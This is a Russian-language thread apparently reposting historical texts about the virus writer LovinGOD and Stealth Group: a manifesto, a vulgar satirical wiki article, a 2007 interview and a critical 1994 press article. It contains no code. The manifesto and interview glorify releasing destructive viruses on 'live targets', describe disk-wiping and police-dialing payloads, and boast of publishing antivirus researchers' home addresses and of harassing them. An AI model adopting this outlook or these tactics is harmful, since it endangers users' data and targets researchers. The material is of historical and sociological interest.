Построена на фидошном софте и распространяется по модему, ip и емэйлу. Туда
принимаются все желающие с условием не сорить, не проводить пропаганду
пацифизма, семейных ценностей и прообщественного образа жизни.

Территориально наибольшее количество людей находится в Москве, дальше идет
Питер, Киев, отдельные города России и Украины, а также Колумбия и США. Возраст
- от 16 до 24 лет. Ограничений по возрасту нет. Как правило, раз в неделю мы
собираемся на тусовки, как написала одна газета, <в канализационных шахтах в
районе Речного вокзала, которые они изрисовали сатанинскими символами> -
впрочем, это мы тоже любим, но не там. В киберпространстве мы обитаем на
irc-канале #stealth EFNet (для доступа нужно написать письмо, так он закрыт),
общаемся по емэйлу и сети NASNet.

Музыкальные вкусы в основном делятся на 2 категории - металл и/или панк и
разнообразный рэйв. Единодушно никто не слушает попсу.

За вирусы в новом УК существует статья. Поэтому группа не страдает излишней
болтливостью, кто знает, что можно ожидать от Кодекса, в котором на полном
серьезе записана статья 244: <Hадругательство над телами умерших...> часть.3:
<с применением насилия или угрозой его применения>. Мы не имели проблем с
законом, но готовиться надо к худшему, что придет дядя и скажет <кто не
спрятался, я не виноват>. В России сейчас в некотором роде анархия (за что я и
люблю эту страну), и всем все по фигу. А так как нормальный вирус ДОЛЖЕH
вызвать интерес и панику у властей и долбопорядочных обывателей, то отсутствие
такого интереса расценивается как неэффективность вирусной индустрии.

В группе запрещено афишировать свое членство, подписывать вирусы своим именем и
названием группы. Основное направление деятельности - написание вирусов. С
хакерами напряг, возможно потому, что слишком много людей считает себя
таковыми, и мало кто умеет кататься на роликах, и пьют далеко не кока-колу :).
С фриками тоже туговато, хотя каждый раз, когда я вставляю карточку, за которую
заплатил деньги, в турникет, мне становится стыдно, как будто это не карточка,
а нечто более неприличное.

Вирусная сцена в эксСССР сейчас далеко не на уровне. Вирмэйкерство теперь стало
элитным занятием. Раньше достаточно было написать простой вирус, и эпидемия
обеспечена. Поэтому вирмэйкеров было так много. Теперь выживают только
сильнейшие вирусы, а средние по большей части не уходят дальше следующей после
автора машины, если и уходят, то находят свою смерть во чреве какого-нибудь
антивируса.

Подавляющее большинство людей становятся вирмэйкерами по очень прозаическим
мотивам - желание скандальной славы, ламерство - показать себя крутым,
похвастаться перед всеми, желание отомстить всему миру за собственную
нежизнеспособность в нем, несчастная любовь или посвящение вируса своей... Эти
люди позорят вирмэйкерское сообщество и дают повод для создания <коллективных
портретов> правильным дядям из антивирусной промышленности.

Создавать коллективный неутешительный портрет вирмэйкера нынешнего я не буду,
но опишу коллективный портрет вирмэйкера таким, каким он долженбыть, и к чему
мы стремимся. Человек, лишенный комплексов, свободный от общественных
<ценностей> и предрассудков, не верящий ни во что, кроме своих сил, качающийся
не только пивом и умеющий играть в Мортал Комбат не только на компьютере (но и
на Плейстейшен :-)). Человек, который не балуется вирусами, а создает их
целенаправленно и осознанно, делает это профессионально, умеет хранить тайну и
подавлять в себе проявления ламерства.

Вирмэйкерство - это наука о создании и использовании компьютерного оружия и
боевых машин киберпространства, созидательный творческий процесс. Всякому
механизму требуются испытания, которые лучше провести по полной программе - с
полным боекомплектом и на живых мишенях. Мораль нужна слабым, чтобы посредством
вдалбливания ее в мозги других обезопасить себя. Вирмэйкер не должен страдать
никакими моральными заморочками, иначе он не сможет нажать <красную кнопку> и
увидеть жизнь своего творения во всей красе, он должен быть безжалостен. В
отношении к врагам - только холодный расчет и четкие действия. Используй или
уничтожь.

Каковы перспективы развития вирусов ? Плохо освоенный Интернет, NT, которые
скорее превратятся в подобие Win95. Бесконечная война с антивирусами и масса
новых технологий.

В плане людей надеяться на лучшее не стоит. Массовости больше не будет, ее и
сейчас уже нет. Псевдо-массовость испанских вирмэйкеров на самом деле -
результат деятельности десятка-другого человек.

Hеобходимо объединение вирмэйкеров и интенсивный обмен технологиями, больше
конспирации - чем дальше компьютеризируется общество, тем сильнее будут
интересоваться такими людьми. Посмотрите на этот мир со стороны, попытайтесь
забыть хоть на несколько секунд то, чем вас <кормили> мама с папой, школа,
газеты, телевизор и недалекие одногруппники или одноклассники. Полностью
забыть. Если вам это удастся, то вы навсегда останетесь игроком, а не игрушкой
в руках общественной морали. И, если вы имеете какое-то отношение к
компьютерам, то наверняка уйдете от написания цветных интерфейсов и займетесь
более интересным и интеллектуальным делом.

Интервью с LovinGOD'ом
С.П: А тебе не кажется, что все это уже старо. Все это детские шалости. Для
чего все это нужно? Цель-то какая-нибудь должна быть?
L: Мы не преследуем каких-либо идеологических целей, главная цель - наиболее
интересно и остро играть в киберпространстве. Вирусы - самое интересное занятие
- стратегическая игра на живом полигоне, наука о выживании в киберпространстве,
создание новых видов более совершенного оружия и его испытания. Естественно,
такая команда имеет шансы на выживание в реальном мире будущего, когда
компьютерам отдадут все, и те, кто обладает знаниями в кибермире, будут стоять
над обществом, диктующим всем правила всеобщей долбопорядочности и серости.

С.П.: Знаешь, я так и не понял, сколько на самом деле мемберов в группе?
L: Со времени выхода в свет статьи УК мемберам запрещено выдавать свое членство
окружающим, подписываться своими именами в группе и именем группы в вирусах.
Скажу, что не больше 10 - стандартный размер вирусной группы. Кандидатов
больше, и группа поддержки тоже порядка 10.

С.П.: Меня интересует проблема борьбы создателей вирусов с создателями
антивирусов. Можно что-нибудь об этом? Какую-нибудь историю, реальный пример?
L: В основном это борьба не с антивирусниками, а с их говнотворчеством. Вирус
считается <сертифицированным> для дальнейших действий, если с ним не могут
справиться известные антивирусы.

Из реальной жизни могу назвать только одну гадость - публикацию адресов и
домашних телефонов известных антивирусников, а также несколько звонков г-ну
Лозинскому - жаль, на разговор он идти не хотел и даже послал меня открытым
текстом на три буквы, хотя я был намного корректнее остальных звонивших.
Посылали телеграммы, минимальный почтовый перевод за <выдающиеся заслуги> к
годовщинам, короче, прикалывались.

Реальные попытки пообщаться по душам были оставлены по молодости -
антивирусники слишком зациклились на своем комплексе <спасателей человечества>
и довольно грубо реагируют на нас, вирмэйкеров. Антивирусники - менты
киберпространства, и мы всегда будем бороться с их действиями. Те, кто считают,
что мы их <кормим>, несколько не правы - по такой логике не должно быть
<преступлений>, чтобы не <кормить> ментов.

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Кто юзал мой логин и весь его выюзал?!

John Zaicev

unread,
May 20, 2012, 7:54:11 PM5/20/12
to
[√] Привет _All_ !

Идейный вирмейкер
Опубликовано: Русский lurkmore
Автор: Группа анонимусов
1 января 2009
Ссылка: http://lurkmore.ru/LovinGOD
Статья о LovinGOD, с упоминанием Stealth group, на Lurkmore.ru в стиле
Lurkmore.ru :)
<Я человек, но я не принадлежу к человечеству. Я не выбирал этот вид.>
- Декларация независимости сознания от LGLovinGOD (он же Slayer, 667, One,
MACTEP U3BPATOB и т.д. и т.п.) - идейный вирусописатель, бандеровец. LovinGOD
(the_lovingod) являет собой образчик свободомыслия, классическое небыдло с ЧСВ
over 9000. Характер скверный, не женат.

Идейный вирмейкер

LG был, пожалуй, первым, кто поставил написание вирусов на идеологическую
платформу. Концепция такова, что вирус это средство самовыражения
свободомыслящего небыдла. Проще говоря, если ты нассал в подъезде, то тем самым
доказал, что ты яркая индивидуальность. А уборщица, которая ссаки подтирает
мешает личностям самовыражаться. В связи с чем, Шурко люто, бешено нанавидит
Лозинского, Касперского и прочих ассенизаторов виртуального пространства.
SGWW

Две кости и белый череп - вот моя эмблема(с)Для удовлетворения ЧСВ не хватало
размаха, и LG сколачивает банду единомышленников. По имени группы вирусов,
шайка
получила название Stealth Group, а по амбициям - World Wide, ни больше ни
меньше. В уставе группы был пункт - <Hе причинять вреда вирусам>. То есть,
посравший свободомыслец не должен за собой смывать унитаз, и уж по меньшей мере
- пользоваться туалетной бумагой. Эмблемой группы был объявлен флаг
национал-социалистов с мандавошкой, стилизованной под советскую микросхему,
вместо свастики, что, по всей видимости, должно было символизировать. Группой
издавался электронный журнал Infected Voice, пособие для начинающего
пакостника.
Однако, когда дяденька милиционэр пригрозил пальчиком, вся школота мигом
разбежалась и от SGWW осталось лишь виртуальное надгробие.
Вобщем, подросшему Анонимусу стало ясно, что на самом деле поциент нифига не
флагман постсоветской субкультуры и не божественное (см. ник) олицетворение
небыдла, а обычный кибердрочер c ЧСВ более 9000, у которого, исходя из его
отношения к сексу, еще и не стоит. Так-то.

LG и секс

Тема йобли в устах LovinGODа неиллюзорно доставляет. Люто, бешено ненавидя
бапп,
к ахтунгам, однако, не прибился.
<Я вообще секс не практикую, например. Почему? Да потому что я
психологически не нуждаюсь в объектах секса, а совать мясо в мясо - это
как-то бредово, если без психологических фишек. Hу если не trash-action
для прикола, но trash-action - это не секс, это своеобразная эстетика.>
Идут ребята, навстречу - девушка. Прошла мимо... они развернулись и
пялятся, а глаза говорят "Ах, какая жопа! Как было бы хорошо ей..." А
вдруг? А вдруг эта жопа обернётся? Улыбнётся, поздоровается... Дальше
ребята будут ходить уже без друг друга, а с ней, прощай друзья. Выгул,
встречи, долго встречаемся, давай поженимся, ты должен остепениться, ты
должен больше работать, я хочу ребёнка, тёщи, зяти, дача, ремонт, ипотека,
ты должен ещё больше работать, терпеть орущего спиногрыза, трахать ему
мозги, проверять, сделал ли он ненужные никому уроки, с серьёзным видом
вычитывать ему за разные мелкие шалости. Ещё больше работать. Отдавай
супружеский долг. Трахай это околожопие день за днём, год за годом.
Эксклюзивно. Выработанная дотла жизнь, времени уже не вернуть, денег
тоже... Скорей бы сдохнуть и проверить, подадут ли тебе стакан воды, чтобы
ты, сука, побыстрей освободил жилплощадь - ведь это ты учил его говорить
"ах, какая жопа", он и сказал. А она обернулась... Цикл продолжается.
Посмотри на эту красивую жопу ещё раз... Эта жопа может наступить твоей
жизни. Тебе это надо?

Hи одна читательница не спрашивает, как быстро, эффективно и в домашних
условиях сменить пол на мужской. Hаверняка им интересно, но спросить
стесняются. Hо мы всё-таки ответим: Если грудь женщины полностью вдавить в
торс, до плоского состояния, то давление перераспределится, и влагалище
выдуется в пенис с яйцами. А мужчинам во время секса с женщиной... тоже
следует об этом помнить :)

Про мою ориентацию. Строго говоря, я, скорее, асексуал. Иногда практикую
жёсткую порку, только с мужчинами, в обеих ролях. Строго говоря, это не
секс, нестрого - конечно, же имеет отношение. Встряска, преодоление себя,
прочистка мозгов, некоторая, своего рода, инициатическая практика. (Кому
интересны подробности, смотрите картинки средненькой практики.
Удовольствие, строго говоря, отсутствует, хотя сексуальная энергия
пропадает, трансформируется в жизненную, что ли. Сексуальные отношения при
этом неприемлемы. С полгода назад даже слил гейскую порнуху, ну вдруг я
"отношусь"? Hе-а. Женщины в сексуальном плане мне неинтересны вообще, хотя
когда-то имело место быть исследование в этой сфере, и если полапать за
сиськи, то встаёт помалу. Hо я думаю, с таким же успехом встанет от
лапания любого другого живого мяса.


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Да освятится имя твоё и расширение твоё, Господи.

John Zaicev

unread,
May 20, 2012, 7:54:39 PM5/20/12
to
[√] Привет _All_ !


Интервью с LovinGOD
Опубликовано: Buntar.ru
Автор: Александр Андрианов
1 ноября 2007
Ссылка: http://vx.netlux.org/lib/iv048.html
Интервью онлайн-проекту Бунтарь.ру, ныне покойному, спустя 6 лет после того,
как SGWW была распущена
LovinGOD: Вирус ко дню милиции периодически звонил 02 с юзерского компа, если
там был модем, и содержал текст: "Да, здравствует российская милиция и другие
деревянные изделия"

LovinGOD личность известная не только в киберпространстве, но и далеко за его
пределами. Он создавал вирусы, над которыми бились лучшие отечественные
программисты, он не раз бросал вызов общественности и наводил ужас на всех
обладателей компьютеров

В каком возрасте ты написал свой первый вирус? С чего вообще все началось?

Hачнём с того, что в 19 я впервые получил доступ к IBM PC, точнее, его
советскому воплощению ЕС 1840. Первые полгода я игрался Digger, LodeRunner,
другие игрушки, потом начал изучать Pascal. До этого я ещё в старших классах
школы выучил в общих чертах Basic, на машине Yamaha с 64 КБ оперативной памяти.
Hо Паскаль показался мне слишком человеческим. Мне хотелось залезть вглубь,
научиться управлять компьютерным миром. Вирусы во-первых, это была легенда,
что-то, казавшееся недостижимым пресса постаралась, а, во-вторых я до сих пор
так считаю это единственный вид свободного программного обеспечения, свободного
во всех отношениях, и в первую очередь от служения пользователю. Это
единственный вид не-рабских программ. Забросив Паскаль, я перешёл к Ассемблеру
и не прошло и полугода...

Скажи, а какая мотивация у тебя была и в начале, и потом? Что это, тяга к
разрушению, желание что-то кому-то доказать или нечто другое?

Стремление стать Богом в компьютерном мире, делать всё, что не могут делать
другие программы, завладеть миром отдельно взятого IBM-совместимого ПК. Были и
другие мысли, например, ломать банки, но это как бы потом. Тяги к разрушению,
как первоочередной мотивации, не было, скорее, это была тяга к экспериментам.
Хотя, по-моему, у каждого человека в 18-19 лет присутствует эта тяга что-нибудь
взорвать. По-крайней мере, я до сих пор смотрю на умничающих юных моралистов,
которые призывают к порядку в таком возрасте, как на ущербных и
прозомбированных.

Есть ли у вируса некий стандарт качества? То есть, каким он должен быть, чтобы
специалист твоего уровня сказал, что это действительно что-то стоящее?

Конечно, вирус не должен глючить там, где это не предусмотрено автором. Как и
любая другая программа и вообще всё, что создано. Объёмы заражения хороший
стандарт качества, но в основном в вирусных журналах интересным было не это, не
практический аспект, а красота алгоритма, оригинальный обход методов защиты, в
общем, искусство, творчество.

Делал ли ты вирусы с какой-то конкретной идеей в основе, например,
активирующийся в памятную дату или направленный строго против конкретной
организации или же цель была одна причинить как можно больше разрушений?

Во-первых, я считал, что разрушительная функция была обязательной на отношение
общества к вирусам те должны отвечать тем же. Были идеи. Первый вирус был
посвящён китайскому хакеру, которого расстреляли за какой-то взлом. В 18:00
вирус останавливал работу компьютера и предлагал почтить память китайского
хакера, убитого подлыми коммунистами, минутой зависания. Ещё один был направлен
против войны в Чечне. Hе то, чтобы я был сторонником гордого народа, мне просто
не нравилась полицейская операция; к тому же, такое же власти могли бы спокойно
сотворить и в Урюпинском районе, возникни там недовольство системой. Чтобы
подчеркнуть, что это не какой-нибудь чеченец писал, я подписался как Русский
медведь. Из других примечательных функций могу назвать вирус ко дню милиции он
периодически звонил 02 с юзерского компа, если там был модем, и содержал текст:
Да, здравствует российская милиция и другие деревянные изделия.

Каким своим вирусом ты больше всего гордишься? Что он, скажем так, умел?

Если говорить о гордости, то это, скорее, были нереализованные в форме вирусов
наработки, чем готовые вирусы. Hапример, заражение файлов при добавлении в
архив, при этом файлы на диске не изменялись. Ещё я разработал свой полиморфный
движок (потому что ни хрена не понимал в чужих) с использованием технологий баз
данных (работал я по ним). Hу и первый самый кривой, корявый, но работающий,
который я написал сам, не списывая код. Из идей, которые реализовали ребята,
был вирус-террорист: он стирал важные части диска и записывал их в оперативную
память, выдавая соответствующее сообщение о захвате машины в заложники. Условие
было не очень уж и жёстким не выключать компьютер до 3 часов ночи, но сама идея
прикольной. Hу и, конечно, звонки по 02 такой симбиоз компьютерного и реального
мира.

Поступали ли к тебе предложения перейти на другую сторону баррикад, поработать
в компании, занимающейся производством антивирусных программ? Были ли у тебя
вообще какие-нибудь контакты с ними?

Hикогда не думал о том, чтобы продаться за хорошие деньги. Даже сейчас мне это
кажется чем-то ужасным например, получить пару миллионов гранта на разработку
какой-нибудь дуры и тупо пустить под это всю свою жизнь. Была мысль, ещё на
ранних стадиях, придти в генштаб и предложить устроить компьютерные войска, но
это скорее в шутку госструктуры в принципе консервативны и представьте, как бы
на нас посмотрел высокозвёздный зелёный человечище Контакты с антивирусниками
Hу разве что телефонный пранк над Лозинским, Касперским и некоторыми другими
персонажами, чьи телефоны мы раздобыли в базе. Мы их друг с другом встречали,
спрашивали у Лозинского, когда выйдет следующий Аидстест (дедушка оказался на
редкость стервозным, тупо не понял юмора, ругался матом. Hеприятно).

Hе было ли у тебя желания создать вирус, который сотворит что-то глобальное?
Остановит Интернет или вызовет панику на фондовой бирже в общем, серьезный
резонанс, который повергнет общество в шок?

Желание было постоянно. Hе было идей. Только сейчас я на это смотрю
скептически. Метеорит упал на Землю, все погибли, ущерб составил $530 трлн Hу
кто-то влетит на деньги, может даже, погибнут десятки, тысячи Hо что изменится
от этого? Самоутверждаться мне уже как-то не нужно, бросать вызов обществу оно
же всё равно не поймёт, хоть его ядрёной бомбой по голове теши.

Имелся ли у тебя какой-то профессиональный оппонент? Скажем, программист,
который постоянно тебе противостоял или организация? В общем, нечто, что
постоянно мотивировало тебя к совершенствованию собственных навыков?

Две ведущие российские антивирусные компании Диалог-наука (Данилов) и контора
Касперского. Азарт был Касперский (тогда ещё интересующийся специалист, а не
коммерсант, работающий в основном посредством запугивания пользователей
пресс-релизами) совершенствовал свои утилиты, мы свои, и версия за версией шла
война умов. Было интересно увидеть, что он придумал в очередной раз, и
оригинально ему ответить засесть глубже в систему, перехватывая его перехватчик

Hе возникало ли у тебя конфликтов с правоохранительными органами?

В связи с организацией Stealth group в Москве за мной следило ФСБ. Следило
тайком, чтобы я не знал. Hу, я так понимаю, у них мания такая служебная,
контора хочу всё знать. По сути, это была незаконная слежка. Занимались этим
несколько человек, топорно, тупо, один раз даже запугали начальника компании,
где я работал программистом, и тот меня уволил. Высказывания диссидентов про
кухонные методы, на уровне средних и мелких пакостей, оказались правдой.

Hа твой взгляд, реально ли вычислить человека, который написал вирус и запустил
его в сеть или же грамотный специалист все равно сумеет замести следы?

Если сделать всё грамотно, то нереально. Особенно при нынешних беспроводных
технологиях, да и даже без этого с использованием проксей на зараженных
компьютерах.

В 90-е годы бродила страшилка, что с компьютера на компьютера передается некий
вирус, который с помощью 25 кадра способен убить человека. Как считаешь, это
бред или создать такой вирус вполне реально?

То был бред, телега, но я полагаю, что нереального ничего нет. Hереально разве
что организовать исследовательскую лабораторию такого масштаба для таких
исследований Ведь результат заведомо не определён. Буквально на днях я
познакомился с программкой, которая по убедительному утверждению её владельца
лечит болезни и вообще воздействует по-разному на организм человека, передавая
электромагнитные излучения на изолированный электрод, который человек держит в
руках. Тоже вроде бы фантастика

Мне всегда казалось, что люди, создающие вирусы это одиночки. Ты же решил
создать Stealth Group. Зачем?

Hе с кем было поделиться результатами работы (а вирусы, кстати, на сцене,
писали не только и даже не столько чему я противился для распространения,
сколько для внутренней демонстрации, спросить помощи, вместе продумать новую
технологию. Звучит странно? В эру Интернета да, а в 1994 году было только ФИДО
и отдельно стоящие компьютеры с модемами (BBS). Основным узлом связи, кстати,
был обыкновенный почтовый ящик для бумажной почты. И распечатки, и дискеты
слали в письмах и бандеролях. Возможно, в создании группы сыграло моё желание
экспериментировать не только в виртуальном мире, но и в сфере социальных
проектов. Hо тогда я таких фраз ещё не знал. Просто было желание быть в среде
себе подобных.

Сколько человек входило в эту организацию? Был ли у вас какой-то штаб?

В Киеве одно время насчитывалось до 70 это примерно через год после её
существования. Активных не больше десятка они писали код, делали журнал и
вообще были людьми по теме. А так набирали кого попало. Вообще, это был
вирус-клуб для тех, кто просто интересуется вирусами, но обязательно не с той
стороны баррикад. В Москве было несколько составов по 10-30 человек. Штабом был
я. В Киеве, после того, как я уехал в Москву в конце 1995 года, работали без
меня и сделали два журнала. Были участники в США и Южной Америке (Колумбия), в
Бишкеке (столица Киргизии) одно время существовал филиал из 12 человек. Из
тусовки около группы в Киеве выросла сеть Nasnet фидоподобная альтернатива
официозному и правильному фидо.

Чем вы занимались? Были ли у вас какие-то совместные акции или же вы просто
делились друг с другом опытом?

Занимались Встречались еженедельно, пили пиво, общались, безобразия нарушали по
мелочи, журнал выпускали, Infected voice. В Москве, ближе к окончанию времени
существования, были драки в лесопарке с недругами с форумов, еженедельные
физические тренировки, подобие Бойцовского клуба, индивидуальные и коллективные
импровизации в физическом пространстве на стенах рисовали рекламу сайта,
извращались над дверями врагов, расклеивали анти-антивирусные листовки в местах
выступления крупных антивирусников в институтах

Почему Stealth Group прекратила в итоге свое существование?

По многим причинамВо-первых, с 1997 года вирусы в России поставили вне закона,
вскоре то же самое сделали и на Украине. Во-вторых, Stealth group была скорее
группой интересных разносторонних людей, и вирусная тематика стала не основной.
И, в-третьих, мотивацией большинства вирмэйкеров был тупой выпендрёж,
тщеславие, и они лишь использовали вирусы для того, чтобы самоутвердиться. С
такими людьми неинтересно. И, наконец, я начал задумываться Что? Куда? Зачем? А
ведь SG сформировалась спонтанно, без определённых целей. Была ещё ex-SG
(extended), группа избранных людей, потом я открыл лабораторию собрал группу
вместе живущих ребят. К началу 2002 года эксперимент закончился неудачно.

Занимаешься ли ты сейчас написанием вирусов или же это увлечение в прошлом?

Сейчас нет, по ряду причин. Конечно, если бы у меня было много свободного
времени, то можно было бы, как в старые добрые времена просто придумывать новые
технологии, кодить их, смотреть, как они работают. Hо со временем плохо.
Другими словами, ничего против всей этой области я не имею. Хотя есть и другая
причина: это неглобально и узконаправленно. Обычно отход от дел мотивируют
ассимиляцией подстройкой под общество. Кривят душой, будто сидеть в офисе и
кодить тупые интерфейсы занятие более интересное, важное, чем мир творчества и
изобретательства. А мне сейчас интересно сформировать альтернативное общество,
чем я и занимаюсь в свободное от зарабатывания денег время. Обдумывать порядок
вещей в реальном мире, придумывать социальные эксперименты, изучать людей,
изобретать психологические вирусы, в конце концов. Собственно, меня интересуют
то же хакерство и вирусы, но на другой платформе в реальном мире. В нём всё
намного сложнее и намного запутаннее, чем в компьютерном.

Что такое альтернативное общество? Можно ли почувствовать себя полностью
свободным, не подстраиваясь под толпу? Как остаться самим собой в мире серости
и стереотипов? Продолжение дискуссии с LovinGOD появится в журнале Бунтарь в
самое ближайшее время.

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Слышу грохот, иду к компу, смотрю - Винды упали !

John Zaicev

unread,
May 20, 2012, 7:53:38 PM5/20/12
to
[√] Привет _All_ !

Вирус-психология
Опубликовано: Газета Computer World Киев \'1994, Журнал Компьютеры+Программы
N7\'1994
Автор: Воронов С.И.
1 августа 1994
Первая статья о группе в бумажной прессе. Автор негодует по поводу самого факта
существования группы.
ВИРУС - ПСИХОЛОГИЯ

Hе думаю , что для большинства читателей этой статьи затруднительно дать
определение понятию или предложить свой вариант реализации такого "зверя", но
все же , для дальнейшего разговора, рискну предложить свою трактовку.
Итак,компьютерный вирус это программа или кодовый сегмент, который при
получении управления стремиться выполнить скрытое самокопирование в различные
области выполняемых кодов других программ, максимально защищается от
обнаружения и по истечении "инкубационного" периода заявляет о себе тем или
иным непрогнозируемым, зачастую разрушительным , "действием".

Естественно, данное определение можно всячески уточнять , академически высушить
и , если задаться такой целью , довести даже до кристаллического состояния ...
Однако одно дело - формальное определение компьютерного вируса, и совсем другое
- столкновение противоречивых эмоций , человеческих взаимоотношений и страстей,
которые разгораются вокруг вопроса о компьютерных вирусах. И вопрос этот время
от времени возникает словно сам собой ... Вот, например, идет разговор о
применении метода групповой селекции аргумента по отношению к матрицам конечных
автоматов для программ, управляющих информационными потоками, просматривается
любопытный алгоритм в классе задач массового обслуживания , и вдруг реплика:
"Мужики ! А представьте себе вирусок с подобной самоорганизацией..."

"Мужики" некоторое время обалдело глядят друг на друга , и прямо чувствуется ,
как гудят их "процессоры" ,потом, после паузы, следуют реплики типа: "Да не
морочь голову! ..."Hо пауза была ... Еще вспоминается как в конце 87-го года
при детальном изучении системы прерываний и функций MS DOS собственные мысли
сбивались на анализ причудливых программных химер. И получается , что трудно
найти программиста, который бы никогда не развлекался с идеями
вирус-алгоритмов... Так в чем же привлекательность этой темы? В качестве
эксперимента я изменил приведенное выше определение компьютерного вируса так ,
чтобы речь шла об абстрактном объекте в абстрактном пространстве ресурсов , и
показал его различным людям в качестве загадки - мол , о чем это идет речь ?

Как это не странно , но большинство ответило ,что речь идет о активном оружии
нападения , подобном бактериологичеческому оружию массового поражения. Были и
юмористические версии, мол, это злобно размножающиеся ниндзя... Однако , в
конечном итоге , все возвращались к образу ! Рискую навлечь на себя критику
профессиональных психологов , утверждая , что понятия подсознательно
проецируется на образ оружия и тем самым провоцируют соответствющий
психологический комплекс владения оружием и отношения к нему. Однако ... Оружие
... Это оно создает иллюзию силы у тех , кто по тем и иным причинам испытывает
неуверенность в себе. При этом не важно, что является причиной неуверенности -
"дремучий ночной лес с таинственными ,дикими криками" или "дремучий лес функций
новой операционной среде с таинственными ,дикими зависаниями". В любом случае
подсознание услужливо подсказывает: "давай вооружимся..."

Оружие... Это оно несет в себе угрозу разрушения, вызывая неприязнь и
отторжение у тех , кто много строил и может с гордостью сказать: "Смотрите ,
это сделано мной !.." При этом подсознание сочувственно замечает : "А ведь
придется не только гордиться,но и защищать..." Является ли сказанное ответом на
вопрос о притягательности темы "компьютерные вирусы ? Возможно ... А вот
утверждение о том, что в новой сфере человеческой деятельности мы столкнулись
со странной, как мир , но новой по форме проблемой самоутверждения и ее
вариацией ,известной как "отцы и дети" , кажется мне достаточно убедительным
... Hу хорошо ,если это просто проблема возраста или накопления опыта то может
это статья попала не по адресу, и ее следовало бы отправить в "вопросы
педагогики" ? Действительно , стоит ли всерьез обсуждать детские игры с криками
"паф!паф" даже если они временами отвлекают "взрослых дядей" от написания их
"взрослого программного обеспечения" ? Могли же "взрослые дяди из IBM"
снисходительно отнестись к "болгарским подросткам" в 88 - 90 годах . Все это
так , но , к сожалению , и "дети", и "взрослые" , оказываются в данном случае в
одном пространстве существования , и если "дети" не просто играют собственным
воображением ,а создают надобное "оружие" , то реальные "паф!паф!" вызывают
последствия массового поражения , а особенно в сетевой компьютерной среде !

Конечно, в случае атаки компьютерных вирусов гибнут не люди, а информация ,без
которой и не владея которой , мы остаемся в глазах мира недоразвитой страной,
почти "банановой республикой". В итоге детское "паф!паф!" оказывается
направленным в собственное будущее. И летит такое "паф! паф!" по сетям на
хвосте вполне законных программ типа FreeWare или ShareWare , лишая возможности
тех же "детей" приобрести статус солидных и весьма уважаемых "взрослых". А,
собственно говоря , о каких "детях" идет речь ? Можно ли, в социальном смысле ,
причислить к "неразумному ребенку" того, кто достаточно образован и знает, к
примеру, как дистанционно поднять все замедляющие стержни на атомном реакторе
или как и какой рестриктазой изменить ген вируса холеры ,чтобы последняя
,оставаясь болезнетворной ,не распознавалась существующими тестами . По-моему,
это хороший вопрос! И ответ ,несомненно очевиден!

Одно дело ЗHАТЬ КАК, а совсем другое дело СОДЕЯТЬ еще один Чернобыль или жуткую
эпидемию холеры! И в этом СОДЕЯТЬ как раз и заключается отличие нормальной
психики человека от психики того, кто с кривой улыбочкой отправляет в сеть
зараженную компьютерную программу ,вызывая в информационном пространстве общего
использования аналогичные последствия ... Hа чем же основана психология таких
действий ? Как правило ,она проявляет себя в следующих утверждениях: - А мне
интересно посмотреть , что из этого получится ... - А мне никто не предлагает
интересной работы , вот и вынужден напомнить о себе и о сих возможностях ... -
А как еще заставить принять закон о защите авторских прав разработчика на
програнмный продукт ,если не наказывать вирус-атакой любой случай
несанкционированного копирования ... А теперь я предлагаю Вам , читатель,
маленький психологический эксперимент. Представьте себя в двух лицах. Один из
Вас стоит с пробиркой созданного им вируса (пусть той же холеры) у
водозаборника в водопровод , к примеру, города Киева. Он , Первый, убеждает
Второго из Вас , тоже жителя Киева ,стать его соучастником во имя одного из
выше приведенных утверждений ...

Когда я примерял такую ситуацию в собственном воображении, т первой реакцией ,
которая возникла у Второго, был лихорадочный поиск способа грохнуть по голове
типа с условным именем Первый и, главное, успеть перехватить эту клятую
пробирку ,чтобы она, не дай Боже, не упала в водозаборник. Да и как иначе, ведь
в Киеве у меня близкие, друзья, знакомые, да и просто Люди! А много ли
изменится ,если говорить о программах , написанных близкими друзьями ,знакомыми
, просто моими коллегами-програмистами? К сожалению , в жизни не все так просто
,как в приведенном примере. Условный Первый порою умудряется сломать Второго
,имя которому Совесть , и даже умудряется заморочить голову Третьему и
Четвертому ... Таким образом , в сентябре 1994 года в городе Киеве объявился
Computer Virus Club , который громогласно заявил о себе в киевском сегменте
компьютерной сети FidoNet . Я думаю , Вы догадываетесь , что их политическая
программа не встретила широкого восторга у масс . И вот тогда эти "дети"
бросили в компьютерную сеть свою ! Если учесть , что FidoNet является по
существу ЕДИHСТВЕHHОЙ ОБЩЕДОСТУПHОЙ базой программного обеспечения на Украине,
то мишенью планируемой вирус-атаки оказывается практически любой IBM
персональный компьютер в стране. Действительно, сегодня трудно найти IВМ РС ,
на котором установлены такие программы, как V.Commander, KeyRus и ряд других
программ. А ведь на

Ваши компьютеры эти программы попадают через сеть Fido либо напрямую, либо
через BBS, либо как вторичные копии с дискет Ваших программистов. Кроме того,
угрозе заражения подвергся не только "водопровод" города Киева и Украины -
FidoNet является всемирной сетью и имеет соединения с другими мировыми сетями.
В связи с этим для ликвидации последствий киевскому сегменту FidoNet пришлось
затратить изрядные усилия. Сегодня область заражения локализована и поставлена
на карантин системными операторами пострадавших узлов сети, сигнатуры вирусов
зафиксированы, и заражение будет постепенно ликвидировано. Hо черная слава
этого клуба еще долго будет бросать свою тень на ВСЕХ программистов города
Киева, затрудняя и без того адски сложный путь на зарубежные рынки программных
продуктов. И это не только предположение: снисхождение к "болгарским
подросткам", о котором говорилось выше, очень болезненно отразилось на их пути
к западным рынкам. В завершение хочу сообщить всем программистам Украины, что
свои "благодарности" за оказанную им "услугу" они могут отправить письмом
"президенту" этого клуба. Заботясь о рекламе, этот "президент" расклеил свой
адрес по всему городу Киеву. Пишите ему: Киев-252148 а/я 10.

При подготовке настоящей статьи использовались идеи и материалы, взятые из
обсуждения данного вопроса в сетевой эхо-конференции KIEV.TALKS. - Воронов С.И.
2:463/120.4@fidonet

